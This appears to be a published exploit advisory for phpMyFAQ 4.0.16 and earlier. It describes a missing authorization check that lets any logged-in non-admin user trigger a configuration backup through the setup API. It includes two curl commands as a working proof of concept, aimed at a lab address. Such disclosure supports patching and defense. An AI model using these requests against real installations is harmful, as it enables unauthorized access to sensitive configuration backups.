phpMyFAQ 4.0.16 – Improper Authorization
# Exploit Title: phpMyFAQ <= 4.0.16 - Improper Authorization # Google Dork: N/A # Date: 2026-01-23 # Exploit Author: GUIA BRAHIM FOUAD # Vendor Homepage: https://www.phpmyfaq.de/ # Software Link: https://www.phpmyfaq.de/download/ # Version: <= 4.0.16 (REQUIRED) # Tested on: Ubuntu 22.04, Apache 2.4.52, PHP 8.2.x, MariaDB 10.6.x # CVE: CVE-2026-24421 ## Summary Authenticated non-admin users can call /api/setup/backup and trigger a configuration backup. The endpoint checks authentication but does not enforce authorization (missing configuration/admin permission check), and returns a link/path to the generated ZIP. ## Details SetupController.php uses userIsAuthenticated() but does not verify that the requester has configuration/admin permissions. This allows any logged-in user to create a sensitive backup and retrieve its path. ## PoC Precondition: API enabled, any authenticated non-admin user. 1) Log in as a non-admin user: curl -c /tmp/pmf_api_cookies.txt \ -H 'Content-Type: application/json' \ -d '{"username":"tester","password":"Test1234!"}' \ http://192.168.40.16/phpmyfaq/api/v3.0/login 2) Trigger backup generation: curl -i -b /tmp/pmf_api_cookies.txt \ -X POST --data '4.0.16' \ http://192.168.40.16/phpmyfaq/api/setup/backup ## Expected Result The API responds successfully and includes a link/path to the generated ZIP backup even though the caller is not an admin / does not have configuration-edit permissions. ## Impact Low-privileged users can generate sensitive backups. If the ZIP is web-accessible (server misconfiguration), this can lead to exposure of secrets/configuration and facilitate follow-on compromise. ## References - GitHub Advisory: GHSA-wm8h-26fv-mg7g |